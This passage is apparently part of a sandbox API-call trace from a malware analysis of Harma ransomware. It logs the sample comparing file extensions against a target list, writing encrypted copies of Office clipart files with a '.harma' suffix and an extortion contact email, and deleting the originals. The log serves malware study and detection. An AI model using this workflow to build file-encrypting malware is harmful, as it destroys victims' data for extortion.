office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0171.352] GetLastError () returned 0x0 [0171.352] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2a64, lpOverlapped=0x0) returned 1 [0171.632] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2a70, lpOverlapped=0x0) returned 1 [0171.633] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.633] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.634] SetEndOfFile (hFile=0x21c) returned 1 [0171.634] CloseHandle (hObject=0x21c) returned 1 [0171.634] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.634] SetEndOfFile (hFile=0x3a0) returned 1 [0171.636] CloseHandle (hObject=0x3a0) returned 1 [0171.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0171.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.640] lstrlenW (lpString=".doc") returned 4 [0171.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.640] lstrlenW (lpString=".docx") returned 5 [0171.640] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.640] lstrlenW (lpString=".pdf") returned 4 [0171.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.640] lstrlenW (lpString=".xls") returned 4 [0171.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.640] lstrlenW (lpString=".xlsx") returned 5 [0171.640] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.640] lstrlenW (lpString=".ppt") returned 4 [0171.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.640] lstrlenW (lpString=".zip") returned 4 [0171.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.640] lstrlenW (lpString=".rar") returned 4 [0171.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString=".bz2") returned 4 [0171.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString=".7z") returned 3 [0171.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.641] lstrlenW (lpString=".dbf") returned 4 [0171.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.641] lstrlenW (lpString=".1cd") returned 4 [0171.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.641] lstrlenW (lpString=".jpg") returned 4 [0171.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.641] lstrlenW (lpString=".doc") returned 4 [0171.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString=".docx") returned 5 [0171.641] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.641] lstrlenW (lpString=".pdf") returned 4 [0171.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString=".xls") returned 4 [0171.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.641] lstrlenW (lpString=".xlsx") returned 5 [0171.641] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.641] lstrlenW (lpString=".ppt") returned 4 [0171.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.641] lstrlenW (lpString=".zip") returned 4 [0171.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.642] lstrlenW (lpString=".rar") returned 4 [0171.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.642] lstrlenW (lpString=".bz2") returned 4 [0171.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.642] lstrlenW (lpString=".7z") returned 3 [0171.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.642] lstrlenW (lpString=".dbf") returned 4 [0171.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.642] lstrlenW (lpString=".1cd") returned 4 [0171.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0171.642] lstrlenW (lpString=".jpg") returned 4 [0171.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.642] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.642] lstrlenW (lpString="J0107358.WMF") returned 12 [0171.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.643] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7964) returned 1 [0171.643] CloseHandle (hObject=0x3a0) returned 1 [0171.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0171.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.644] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.644] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0171.645] GetLastError () returned 0x0 [0171.645] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1f1c, lpOverlapped=0x0) returned 1 [0171.834] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0171.835] ReadFile (in: hFile=0x3a0, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.835] WriteFile (in: hFile=0x21c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.836] SetEndOfFile (hFile=0x21c) returned 1 [0171.836] CloseHandle (hObject=0x21c) returned 1 [0171.836] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.836] SetEndOfFile (hFile=0x3a0) returned 1 [0171.840] CloseHandle (hObject=0x3a0) returned 1 [0171.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0171.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.872] lstrlenW (lpString=".doc") returned 4 [0171.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString=".docx") returned 5 [0171.872] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.872] lstrlenW (lpString=".pdf") returned 4 [0171.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString=".xls") returned 4 [0171.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.872] lstrlenW (lpString=".xlsx") returned 5 [0171.872] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.872] lstrlenW (lpString=".ppt") returned 4 [0171.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.872] lstrlenW (lpString=".zip") returned 4 [0171.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.872] lstrlenW (lpString=".rar") returned 4 [0171.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString=".bz2") returned 4 [0171.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.872] lstrlenW (lpString=".7z") returned 3 [0171.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.873] lstrlenW (lpString=".dbf") returned 4 [0171.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.873] lstrlenW (lpString=".1cd") returned 4 [0171.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.873] lstrlenW (lpString=".jpg") returned 4 [0171.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.873] lstrlenW (lpString=".doc") returned 4 [0171.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.873] lstrlenW (lpString=".docx") returned 5 [0171.873] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.873] lstrlenW (lpString=".pdf") returned 4 [0171.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.873] lstrlenW (lpString=".xls") returned 4 [0171.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.873] lstrlenW (lpString=".xlsx") returned 5 [0171.873] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.873] lstrlenW (lpString=".ppt") returned 4 [0171.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.873] lstrlenW (lpString=".zip") returned 4 [0171.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.873] lstrlenW (lpString=".rar") returned 4 [0171.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.874] lstrlenW (lpString=".bz2") returned 4 [0171.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.874] lstrlenW (lpString=".7z") returned 3 [0171.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.874] lstrlenW (lpString=".dbf") returned 4 [0171.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.874] lstrlenW (lpString=".1cd") returned 4 [0171.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0171.874] lstrlenW (lpString=".jpg") returned 4 [0171.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.874] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.874] lstrlenW (lpString="J0107452.WMF") returned 12 [0171.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.885] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=21216) returned 1 [0171.885] CloseHandle (hObject=0x360) returned 1 [0171.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0171.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.885] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.885] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.886] GetLastError () returned 0x0 [0171.886] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x52e0, lpOverlapped=0x0) returned 1 [0171.890] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x52f0, lpOverlapped=0x0) returned 1 [0171.891] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0171.891] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0171.891] SetEndOfFile (hFile=0x33c) returned 1 [0171.891] CloseHandle (hObject=0x33c) returned 1 [0171.891] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.891] SetEndOfFile (hFile=0x360) returned 1 [0171.893] CloseHandle (hObject=0x360) returned 1 [0171.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.895] lstrlenW (lpString=".doc") returned 4 [0171.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.895] lstrlenW (lpString=".docx") returned 5 [0171.895] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.895] lstrlenW (lpString=".pdf") returned 4 [0171.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.895] lstrlenW (lpString=".xls") returned 4 [0171.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.895] lstrlenW (lpString=".xlsx") returned 5 [0171.895] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.895] lstrlenW (lpString=".ppt") returned 4 [0171.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.895] lstrlenW (lpString=".zip") returned 4 [0171.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.895] lstrlenW (lpString=".rar") returned 4 [0171.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.895] lstrlenW (lpString=".bz2") returned 4 [0171.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.895] lstrlenW (lpString=".7z") returned 3 [0171.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.895] lstrlenW (lpString=".dbf") returned 4 [0171.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.895] lstrlenW (lpString=".1cd") returned 4 [0171.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.896] lstrlenW (lpString=".jpg") returned 4 [0171.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.896] lstrlenW (lpString=".doc") returned 4 [0171.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString=".docx") returned 5 [0171.896] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.896] lstrlenW (lpString=".pdf") returned 4 [0171.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString=".xls") returned 4 [0171.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.896] lstrlenW (lpString=".xlsx") returned 5 [0171.896] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.896] lstrlenW (lpString=".ppt") returned 4 [0171.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.896] lstrlenW (lpString=".zip") returned 4 [0171.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.896] lstrlenW (lpString=".rar") returned 4 [0171.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString=".bz2") returned 4 [0171.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.896] lstrlenW (lpString=".7z") returned 3 [0171.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.896] lstrlenW (lpString=".dbf") returned 4 [0171.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.897] lstrlenW (lpString=".1cd") returned 4 [0171.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned 63 [0171.897] lstrlenW (lpString=".jpg") returned 4 [0171.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.897] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0171.897] lstrlenW (lpString="J0107456.WMF") returned 12 [0171.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.898] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3724) returned 1 [0171.898] CloseHandle (hObject=0x360) returned 1 [0171.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 0x20 [0171.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.898] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.898] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0171.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0171.899] GetLastError () returned 0x0 [0171.899] ReadFile (in: hFile=0x360, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xe8c, lpOverlapped=0x0) returned 1 [0172.609] WriteFile (in: hFile=0x33c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe90, lpOverlapped=0x0) returned 1 [0174.316] ReadFile 